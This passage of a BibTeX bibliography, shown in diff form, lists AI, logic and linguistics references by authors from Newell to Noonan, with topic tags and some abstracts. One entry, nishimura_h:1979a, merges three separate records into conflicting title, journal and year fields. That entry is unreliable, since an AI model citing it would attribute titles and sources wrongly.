= {8}, + number = {2}, + pages = {137--153}, + topic = {search;AI-algorithms-analysis;} + } + +@incollection{ newell-simon:1963a, + author = {Allan Newell and Herbert A. Simon}, + title = {{\sc gps}, A Program That Simulates Human Thought}, + booktitle = {Computers and Thought}, + publisher = {McGraw-Hill}, + year = {1963}, + editor = {Edward Feigenbaum A. and Julian Feldman}, + pages = {279--293}, + address = {New York}, + topic = {AI-classics;} + } + +@article{ newell-simon_ha:1976a1, + author = {Allen Newell and Herbert A. Simon}, + title = {Computer Science as Empirical Enquiry: Symbols and + Search}, + journal = {Communications of the Association for Computing + Machinery}, + year = {1976}, + volume = {19}, + pages = {113--126}, + missinginfo = {number}, + xref = {Republished: newell-simon_ha:1976a2.}, + topic = {foundations-of-AI;AI-classics;} + } + +@incollection{ newell-simon_ha:1976a2, + author = {Allen Newell and Herbert A. Simon}, + title = {Computer Science as Empirical Enquiry: Symbols and + Search}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {35--66}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: newell-simon_ha:1976a1.}, + topic = {foundations-of-AI;AI-classics;} + } + +@article{ newell:1982a, + author = {Allen Newell}, + title = {The Knowledge Level}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {1}, + pages = {82--127}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ newell-etal:1989a, + author = {Allen Newell and Paul Rosenbloom and John Laird}, + title = {Symbolic Architectures for Cognition}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {3}, + pages = {93--131}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-architectures;cognitive-modeling;SOAR;} + } + +@book{ newell:1992a, + author = {Allen Newell}, + title = {Unified Theories of Cognition}, + publisher = {Harvard University Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-architectures;cognitive-modeling;SOAR;} + } + +@article{ newell:1992b, + author = {Allen Newell}, + title = {Pr\'ecis of {U}nified {T}heories of {C}ognition}, + journal = {Behavioral and Brain Sciences}, + year = {1992}, + volume = {15}, + number = {3}, + pages = {425--492}, + topic = {cognitive-architectures;} + } + +@article{ newell:1993a, + author = {Allen Newell}, + title = {Reflections on the Knowledge Level}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {31--38}, + xref = {Retrospective commentary on newell:1982a.}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ newell-etal:1993a, + author = {Allen Newell and Richard Young and Thad Polk}, + title = {The Approach through Symbols}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {33--70}, + address = {Oxford}, + topic = {foundations-of-AI;machine-learning; + cognitive-architectures;natural-language-processing;} + } + +@article{ newmeyer:1971a, + author = {Frederick J. Newmeyer}, + title = {The Source of Derived Nominals in {E}nglish}, + journal = {Language}, + year = {1971}, + volume = {47}, + number = {1}, + pages = {786--796}, + topic = {nominalization;} + } + +@article{ newmeyer:1975a, + author = {Frederick J. Newmeyer}, + title = {Review of {\it Themes in Linguistics: The 1970's}, + edited by {E}ric {P}. {H}amp}, + journal = {Language}, + year = {1975}, + volume = {51}, + number = {1}, + pages = {163--169}, + topic = {history-of-linguistics;} + } + +@book{ newmeyer:1983a, + author = {Frederick J. Newmeyer}, + title = {Grammatical Theory, Its Limits and Its Possibilities}, + publisher = {University of Chicago Press}, + year = {1983}, + address = {Chicago}, + ISBN = {0226577171}, + topic = {foundations-of-linguistics;linguistics-methodology;} + } + +@book{ newmeyer:1988a, + editor = {Frederick J. Newmeyer}, + title = {Linguistic Theory: Extensions and Implications}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {052130833X}, + topic = {foundations-of-linguistics;} + } + +@book{ newmeyer:1988b, + editor = {Frederick J. Newmeyer}, + title = {Language: Psychological and Biological Aspects}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {0521308356}, + topic = {psycholinguistics;biolinguistics;} + } + +@book{ newmeyer:1988c, + editor = {Frederick J. Newmeyer}, + title = {Linguistic Theory: Foundations}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {0521308321}, + topic = {foundations-of-linguistics;} + } + +@book{ newmeyer:1988d, + editor = {Frederick J. Newmeyer}, + title = {Linguistics, The Cambridge Survey}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {0521308321 (v. 1)}, + topic = {linguistics-general;} + } + +@book{ newmeyer:1996a, + author = {Frederick J. Newmeyer}, + title = {Generative Linguistics: A Historical Perspective}, + publisher = {Routledge}, + year = {1996}, + address = {London}, + ISBN = {0415115531}, + topic = {linguistics-history;} + } + +@book{ newmeyer:1998a, + author = {Frederick J. Newmeyer}, + title = {Language Form and Language Function}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0262140640 (alk. paper)}, + topic = {foundations-of-linguistics;} + } + +@inproceedings{ ng_ht-mooney:1990a, + author = {Hwee Tou Ng and Raymond J. Mooney}, + title = {The Role of Coherence in Constructing and Evaluating + Abductive Explanations}, + booktitle = {Working Notes, {AAAI} Spring Symposium on Automated Abduction}, + year = {1990}, + editor = {P. O'Rorke}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {abduction;coherence;} + } + +@incollection{ ng_ht-mooney:1992a, + author = {Hwee Tou Ng and Raymond J. Mooney}, + title = {Abductive Plan Recognition and Diagnosis: A Comprehensive + Empirical Investigation}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {499--508}, + address = {San Mateo, California}, + topic = {kr;kr-course;abduction;plan-recognition;} + } + +@inproceedings{ ng_ht-lee:1996a, + author = {Hwee Tou Ng and Hian Beng Lee}, + title = {Integrating Multiple Knowledge Sources to Disambiguate + Word Sense: An Exemplar-Based Approach}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {40--47}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + url = {http://xxx.lanl.gov/abs/cmp-lg/9706010}, + topic = {disambiguation;word-sense;} + } + +@incollection{ ng_ht:1997a, + author = {Hwee Tou Ng}, + title = {Exemplar-Based Word Sense Disambiguation: Some + Recent Improvements}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {208--213}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;lexical-disambiguation;} + } + +@article{ ng_ht-zelle:1998a, + author = {Hwee Tou Ng and John Zelle}, + title = {Corpus-Based Approaches to Semantic Interpretation in + Natural Language Processing}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {45--64}, + topic = {lexical-disambiguation;corpus-statistics;} + } + +@book{ nguyen_ht-walker_ea:1997a, + author = {Hung T. Nguyen and Elbert A. Walker}, + title = {A First Course in Fuzzy Logic}, + publisher = {CRC Press}, + year = {1997}, + address = {New York}, + ISBN = {0-8493-9477-5}, + topic = {fuzzy-logic;} + } + +@article{ nguyen_lh:2001a, + author = {Linh anh Nguyen}, + title = {Analytic Tableau Systems and Interpolation Theorems for + the Modal Logics {KB}, {KDB}, {K5}, {KD5}}, + journal = {Studia Logica}, + year = {2001}, + volume = {69}, + number = {1}, + pages = {41--57}, + topic = {proof-theory;semantic-tableaux;modal-logic;} + } + +@article{ nguyen_xl-etal:2002a, + author = {Xuan{L}ong Nguyen and Subbaro Kambhampati and Romeo S. + Nigenda}, + title = {Planning Graph as the Basis for Deriving Heuristics + for Plan Synthesis by State Space and {CSP} Search}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {135}, + number = {1--2}, + pages = {73--123}, + topic = {planning-algorithms;search;graph-based-reasoning;} + } + +@article{ nicolle-clark_b:1999a, + author = {S. Nicolle and B. Clark}, + title = {Experimental Pragmatics and What Is Said: A Response to + {G}ibbs and {M}oise}, + journal = {Cognition}, + year = {1999}, + volume = {69}, + pages = {337--354}, + missinginfo = {A's 1st name, number}, + topic = {pragmatics;speaker-meaning;cognitive-psychology;} + } + +@article{ nie-plaisted:1989a, + author = {Xumin Nie and David A. Plaisted}, + title = {Refinements to Depth-First Iterative-Deepening Search in + Automatic Theorem Proving}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {223--235}, + topic = {theorem-proving;search;} + } + +@article{ nie-plaisted:1992a, + author = {Xumin Nie and David A. Plaisted}, + title = {A Semantic Backward Chaining Proof System}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {55}, + number = {1}, + pages = {109--128}, + acontentnote = {Abstract: + We discuss a refutationally complete sequent style clause-based + proof system that supports several importantstrategies in + automatic theorem proving. The system has a goal-subgoal + structure and supports backward chaining with caching. It + permits semantic deletion, sometimes using multiple + interpretations. It is also a genuine support strategy. We also + show how to use multiple interpretations to control the case + analysis rule, also called the splitting rule, how to design + interpretations and how to select input clauses for a theorem. + } , + topic = {theorem-proving;} + } + +@article{ nie:1997a, + author = {Xumin Nie}, + title = {Non-{H}orn Clause Logic Programming}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {243--258}, + topic = {logic-programming;} + } + +@inproceedings{ niehren-etal:1997a, + author = {Joachim Niehren and Manfed Pinkal and Peter Ruhrberg}, + title = {A Uniform Approach to Underspecification and Parallelism}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {410--417}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {semantic-underspecification;} + } + +@incollection{ niemela-rintanen:1992a, + author = {Ilkka Niemel\"a and Jussi Rintanen}, + title = {On the Impact of Stratification on the Complexity of Nonmonotonic + Reasoning}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {627--638}, + address = {San Mateo, California}, + topic = {nonmonotonic-logic;complexity-in-AI;autoepestemic-logic;} + } + +@incollection{ niemela:1994a, + author = {Ilkka Niemel\"a}, + title = {A Decision Method for Nonmonotonic Logic Based on + Autoepistemic Reasoning}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {473--484}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-logic;autoepistemic-logic;decision-procedures; + kr-course;} + } + +@inproceedings{ niemela:1995a, + author = {Ilkka Niemel\"a}, + title = {Towards Efficient Default Reasoning}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {312--318}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + contentnote = {Decision for Reiter, with full propositional logic. + Much disc of search.}, + topic = {kr;default-logic;nonmonotonic-reasoning;kr-course;} + } + +@inproceedings{ niemela:1999a, + author = {Ilkkka Niemel\"a}, + title = {Smodels: An Implementation of the Stable + Model Semantics for Normal Logic Programs}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {stable-models;logic-programming;} + } + +@incollection{ niemela-simons:2000a, + author = {Ilkka Niemel\"a and Patrick Simons}, + title = {Extending the {S}models System with Cardinality and Weight + Constraints}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {491--521}, + address = {Dordrecht}, + topic = {logic-in-AI;logic-programming;stable-models;} + } + +@techreport{ nieuwendijk:1991a, + author = {Arthur Nieuwendijk}, + title = {Semantics and Comparative Logic}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--91--09}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {indian-logic;} + } + +@incollection{ niiniluoto:1979a, + author = {Ilkka Niiniluoto}, + title = {Knowing That One Sees}, + booktitle = {Essays in Honour of {J}aakko {H}intikka}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Esa Saarinen and Risto Hilpinen and Ilkka Niiniluoto and + M. Provence Hintikka}, + pages = {249--282}, + address = {Dordrecht}, + topic = {logic-of-perception;} + } + +@incollection{ niiniluoto:1994a, + author = {Ilkka Niiniluoto}, + title = {Remarks on the Logic of Perception}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {116--129}, + address = {Helsinki}, + topic = {logic-of-perception;} + } + +@book{ niiniluoto-saarinen:1994a, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + title = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + series = {Acta Philosophica {F}ennica}, + address = {Helsinki}, + contentnote = {TC: + 1. A.S. Karpenko, "Aristotle, Lukasiewicz, and Factor-Semantics" + 2. Z.N. Mikeladze, "Intensional Principles in Aristotle" + 3. Simo Knuuttila, "Topics in Late Medieval Intensional Logic" + 4. G.H. von Wright, "Diachronic and Synchronic Modalities" + 5. V.A. Smirnov, "The World of Modal Operators by Means of + Tense Operators" + 6. L.L. Maksimova, "Interpolation Properties of + Superintuitionistic, Positive, and Modal Logics" + 7. O.F. Serebriannikov, "Gentzen's Hauptsatz for Modal Logic + with Quantifiers" + 8. Jaakko Hintikka, "Is Alethic Modal Logic Possible?" + 9. Veikko Rantala, "Impossible Worlds Semantics and Logical + Omniscience" + 10. Ilkka Niiniluoto, "Remarks on the Logic of Perception" + 11. Esa Saarinen, "Propositional Attitudes Are Not Attitudes + towards Propositions" + 12. Lauri Carlson, "Plural Quantifiers and Informational + Independence" + 13. Risto Hilpinen, "Disjunctive Permissions and Conditionals + with Disjunctive Antecedents" + 14. E.A. Sidorenko, "On Extensions of E" + 15. Krister Segerberg, "`After' and `During' in Dynamic Logic" + 16. D.A. Bochvar, "Some Aspects of the Investigation of Reification + Paradoxes" + 17. V.K. Finn and O.M. Anshakov and R.Sh. Grigola and M.I. + Zabeshailo, "Many-Valued Logics as Fragments of Formalized + Semantics" + 18. I. P\"orn, "Meaning and Intension" + 19. Raimo Tuomela, "Action Generation" + } , + topic = {intensional-logic;epistemic-logic;propositional-attitudes;} + } + +@inproceedings{ niiniluoto:1998a, + author = {Ilkka Niiniluoto}, + title = {Defending Abduction}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {436--451}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {abduction;} + } + +@article{ niizuma-kitahashi:1985a, + author = {Seizaburo Niizuma and Tadahiro Kitahashi}, + title = {A Problem-Decomposition Method Using Differences or + Equivalence Relations between States}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {2}, + pages = {117--151}, + topic = {problem-decomposition;AI-algorithms;} + } + +@incollection{ nijholt:1981a, + author = {Anton Nijholt}, + title = {Overview of Parallel Parsing + Strategies}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {207--229}, + address = {Dordrecht}, + topic = {parsing-algorithms;parallel-processing;} + } + +@book{ nikanne-zee:2000a, + editor = {Upro Nikanne and Emile van der Zee}, + title = {Cognitive Interfaces: Constraints on Linking Cognitive + Information}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {0-19-829961-3 (hardback), 0-19-829962-1 (paperback)}, + topic = {cognitive-modularity;cognitive-architectures; + cognitive-psychology;} + } + +@article{ nilsen:1973a, + author = {Don L.F. Nilsen}, + title = {Review of {\it Ambiguity in Natural Language: An Investigation + of Certain Problems in Its Description}, by + {J}.{G}. {K}ooij}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {4}, + pages = {595--597}, + xref = {Review of: kooij:1971a.}, + topic = {ambiguity;} + } + +@book{ nilsen_ap:1999a, + author = {Aleen Pace Nilsen}, + title = {Living Language: Reading,Thinking, and Writing}, + publisher = {Allyn and Bacon}, + year = {1999}, + address = {New York}, + contenttnote = {Sort of an intro for English/communication types.}, + topic = {English-Language;linguistics-intro;composition-manual;} + } + +@article{ nilsen_dlf-etal:1988a, + author = {Don L.F. Nilsen and Aleen Pace Nilsen and Nathan H. Combs}, + title = {Teaching a Computer to Speculate}, + journal = {Computers and the Humanities}, + year = {1988}, + volume = {22}, + pages = {193--201}, + missinginfo = {number}, + topic = {nl-understanding;} + } + +@incollection{ nilsson_jf:1989a, + author = {J{\o}rgen Fisher Nilsson}, + title = {Knowledge Base Combinator Logic}, + booktitle = {Information Processing 89}, + publisher = {Elsevier Science Publishers}, + year = {1989}, + editor = {G.X. Ritter}, + pages = {661--666}, + address = {Amsterdam}, + missinginfo = {E's 1st name.}, + topic = {combinatory-logic;knowledge-representation;} + } + +@book{ nilsson_nj:1980a, + author = {Nils J. Nilsson}, + title = {Principles of Artificial Intelligence}, + publisher = {Tioga Publishing Co.}, + year = {1980}, + address = {Palo Alto, California}, + ISBN = {0935382011}, + xref = {Review: mcdermott_j1:1980a.}, + topic = {ai-intro;} + } + +@article{ nilsson_nj:1983a, + author = {Nils J. Nilsson}, + title = {Artificial Intelligence Prepares for 2001}, + journal = {The {AI} Magazine}, + year = {1983}, + volume = {4}, + number = {4}, + pages = {7--14}, + topic = {AI-editorial;} + } + +@techreport{ nilsson_nj:1984a, + author = {Nils J. Nilsson}, + title = {Shakey the Robot}, + number = {323}, + institution = {AI Center, SRI International}, + year = {1984}, + topic = {robotics;} + } + +@techreport{ nilsson_nj:1985a, + author = {Nils J. Nilsson}, + title = {Triangle Tables: A Proposal for a Robot Programming + Language}, + number = {347}, + institution = {AI Center, SRI International}, + year = {1985}, + topic = {robotics;} + } + +@article{ nilsson_nj:1986a, + author = {Nils J. Nilsson}, + title = {Probabilistic Logic}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + pages = {71--87}, + topic = {probablilty;reasoning-about-uncertainty;} + } + +@article{ nilsson_nj:1989a, + author = {Nils Nilsson}, + title = {On ``Logical Foundations of Artificial Intelligence''. + A Response to the Reviews by {S}. {S}moliar and {J}. {S}owa}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {132--133}, + topic = {kr;AI-intro;AI-and-logic;kr-course;} + } + +@unpublished{ nilsson_nj:1989b, + author = {Nils J. Nilsson}, + title = {Teleo-Reactive Agents}, + year = {1989}, + note = {Unpublished manuscript, Computer Science Department, + Stanford University.}, + topic = {foundations-of-planning;foundations-of-robotics;} + } + +@book{ nilsson_nj:1990a, + author = {Nils J. Nilsson}, + title = {The Mathematical Foundations of Learning Machines}, + publisher = {Morgan Kaufmann}, + year = {1990}, + address = {San Mateo, California}, + topic = {learning;learning-theory;} + } + +@article{ nilsson_nj:1991a, + author = {Nils J. Nilsson}, + title = {Logic and Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {31--56}, + contentnote = {This is a survey paper on the logical approach to AI.}, + topic = {foundations-of-AI;AI-survey;logic-in-AI;} + } + +@article{ nilsson_nj:1993a, + author = {Nils J. Nilsson}, + title = {Probabilistic Logic Revisited}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {39--42}, + xref = {Retrospective commentary on nilsson_nj:1986a.}, + topic = {probablilty;reasoning-about-uncertainty;} + } + +@unpublished{ nilsson_nj:1995a, + author = {Nils J. Nilsson}, + title = {Eye on the Prize}, + year = {1995}, + note = {Available at + http://www.robotics.stanford.edu/\user{}nilsson/.}, + topic = {ai-editorial;foundations-of-AI;} + } + +@article{ nilsson_nj:1996a, + author = {Nils J. Nilsson}, + title = {Review of ``{A}rtificial Intelligence: A Modern Approach,'' + by {S}tuart {R}ussell and {P}eter {N}orvig}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {369--380}, + topic = {ai-intro;} + } + +@book{ nilsson_nj:1998a, + author = {Nils J. Nilsson}, + title = {Artificial Intelligence: A New Synthesis}, + publisher = {Morgan Kaufmann Publishers}, + year = {1998}, + address = {San Francisco}, + ISBN = {1558604677}, + xref = {Review: duboulay:2001a}, + topic = {ai-survey;ai-intro;} + } + +@incollection{ nipkow-prehofer:1998a, + author = {T. Nipkow and C. Prehofer}, + title = {Higher-Order Rewriting and Equational Reasoning}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;higher-order-logic;} + } + +@incollection{ nipkow-reif:1998a, + author = {T. Nipkow and W. Reif}, + title = {Introduction (to Part {I}: Interactive + Theorem Proving)}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ nirenburg:1987a, + editor = {Sergei Nirenburg}, + title = {Machine Translation: Theoretical and Methodological Issues}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + topic = {machine-translation;} + } + +@incollection{ nirenburg-levin_l:1987a, + author = {Sergei Nirenburg and Lori Levin}, + title = {Syntax-Driven and Ontology-Driven Lexical Semantics}, + booktitle = {Lexical Semantics and Knowledge Representation}, + publisher = {Springer Verlag}, + year = {1987}, + editor = {James Pustejovsky and Sabine Bergler}, + address = {Berlin}, + missinginfo = {pages}, + topic = {computational-lexical-semantics;} + } + +@inproceedings{ nirenburg-etal:1989a, + author = {Sergei Nirenburg and Victor Lesser and Eric Nyberg}, + title = {Controlling a Language Generation Planner}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1524--1530}, + topic = {nl-generation;discourse-planning;pragmatics;} +} + +@book{ nirenburg-etal:1992a, + editor = {Sergei Nirenburg and Jaime Carbonell and Masaru Tomita + and Kenneth Goodman}, + title = {Machine Translation: A Knowledge-Based Approach}, + publisher = {Morgan Kaufmann}, + year = {1992}, + address = {San Mateo, California}, + topic = {machine-translation;} + } + +@article{ nirke-etal:1996a, + author = {Madhura Nirke and Sarit Kraus and Michael Miller and + Donald Perlis}, + title = {How to (Plan to) Meet a Deadline Between {\it Now} and + {\it Then}}, + journal = {Journal of Logic and Computation}, + year = {1996}, + volume = {6}, + number = {1}, + pages = {1--48}, + topic = {planning;resource-limited-reasoning;reasoning-in-time;} + } + +@article{ nishida-doshita:1995a, + author = {Toyoaki Nishida and Shuji Doshita}, + title = {Qualitative Analysis of Behavior of Systems of Piecewise + Linear Differential Equations with Two State Variables}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {1}, + pages = {3--29}, + acontentnote = {Abstract: + The set of all solution curves in the phase space for a system + of ordinary differential equations (ODEs) is called the phase + portrait. A phase portrait provides global qualitative + information about how a given system of ODEs behaves under + different initial conditions. We are developing a method called + Topological Flow Analysis (TFA) for automating analysis of the + topological structure of the phase portrait of systems of ODEs. + In this paper, we describe the first version of TFA for systems + of piecewise linear ODEs with two state variables. TFA has + several novel features that have not been achieved before. + Firstly, TFA enables to grasp characteristics of all behaviors + of a given system of ODEs. Secondly, TFA allows to symbolically + represent behaviors in terms of critical geometric features in + the phase space. Finally, TFA integrates qualitative and + quantitative analysis. The current version of TFA has been + implemented as a program called PSX2PWL using Common Lisp. + } , + topic = {qualitative-differential-equations; + reasoning-about-physical-systems;} + } + +@article{ nishida:1997a, + author = {Toyoaki Nishida}, + title = {Grammatical Description of Behaviors of Ordinary + Differential Equations in Two-Dimensional Phase Space}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {3--32}, + acontentnote = {Abstract: + The major task of qualitative analysis of systems of ordinary + differential equations is to recognize the global pattern of + solution curves in the phase space. In this paper, I present a + flow grammar, a grammatical specification of all possible + patterns of solution curves one may see in the phase space. + I describe a flow pattern, a semi-symbolic representation of + the patterns of solution patterns in the phase space, and show + how an important class of flow patterns can be specified by the + pattern resulting from any structurally stable flow on a plane. + I also describe several properties of the flow grammar related to + the enumeration of patterns. In particular, I estimate the upper + limit of the number of applications of rewriting rules needed to + derive a given flow pattern. Finally, I describe how the flow + grammar is used in qualitative analysis to plan, monitor, and + interpret the result of numerical computation. + } , + topic = {qualitative-differential-equations;qualitative-reasoning; + dynamic-systems;} + } + +@article{ nishihara_hk:1981a, + author = {H.K. Nishihara}, + title = {Intensity, Visible-Surface, and Volumetric + Representations}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {265--284}, + acontentnote = {Abstract: + One approach to studying human vision is to treat it as a + computation that produces descriptions of the external world + from retinal images, asking what can be said about this process + based on an investigation of the information processing problems + that it solves [11]. This paper examines the structure of the + problem at a level of abstraction Marr and Poggio [16] call the + computational theory. The type of information the vision process + must make explicit at various stages is treated and used as a + base for decomposing the process into subparts that can be + studied independently. Examples are taken from ongoing research + at M.I.T. } , + topic = {visual-reasoning;} + } + +@article{ nishimura_h:1979a, + author = {Hirokazu Nishimura}, + title = {Is the Semantics of Branching Structures Adequate + for Chronological Modal Logics?}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {469--475}, + contentnote = {Discusses nonequivalence of TxW and branching + semantics for case where times are integers.}, + title = {Is the Semantics of Branching Structures Adequate + for Non-Metric {O}ckhamist Tense Logics?}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {477--478}, + contentnote = {Generalizes nishimura:1979b to nonmetric times.}, + title = {Review of {\it The Syntactic Process}, by {M}ark {S}teedman}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {146--148}, + xref = {Review of steedman:2000a.}, + topic = {nl-syntax;nl-semantics;categoriaal-grammar;nl-processing; + nl-quantifiers;nl-quantifier-scope;intonation;} + } + +@article{ niwa-etal:1984a, + author = {Kiyoshi Niwa and Koji Sasaki and Hirokazu Ihara}, + title = {An Experimental Comparison of Knowledge Representation Schemes}, + journal = {AI Magazine}, + year = {1984}, + volume = {5}, + pages = {29--36}, + topic = {kr;experimental-testing-of-kr-systems;AI-system-evaluation; + kr-course;} + } + +@article{ niyogi-berwick:1997a, + author = {Partha Niyogi and Robert C. Berwick}, + title = {Evolutionary Consequences of Language Learning}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {697--719}, + topic = {language-change;language-learning;} + } + +@book{ noble:1988a, + author = {Hugh M. Noble}, + title = {Natural Language Processing}, + publisher = {Blackwell Scientific Publications}, + year = {1988}, + address = {Oxford}, + ISBN = {0632015020 (pbk.)}, + topic = {nl-processing;nlp-intro;} + } + +@incollection{ nofsinger:1983a, + author = {Robert E. Nofsinger}, + title = {Tactical Coherence in Courtroom Conversation}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {243--258}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@article{ noh:1998a, + author = {Eun-Je Noh}, + title = {Echo Questions: Metarepresentation and Pragmatic + Enrichment}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {6}, + pages = {603--628}, + topic = {echo-questions;} + } + +@incollection{ nolan:1997a, + author = {James Nolan}, + title = {Estimating the True Performance of + Classification-Based {NLP} Technology}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {23--28}, + address = {Somerset, New Jersey}, + topic = {document-classification;nlp-evaluation;} + } + +@article{ noonan:1978a, + author = {Harold W. Noonan}, + title = {Count Nouns and Mass Nouns}, + journal = {Analysis}, + year = {1978}, + volume = {38}, + topic = {mass-term-semantics;} + } + +@article{ noonan:1982a, + author = {Harold W. Noonan}, + title = {Vague Objects}, + journal = {Analysis}, + year = {1982}, + volume = {42}, + missinginfo = {A's 1st name, number, pages}, + topic = {vagueness;identity;} + } + +@article{ 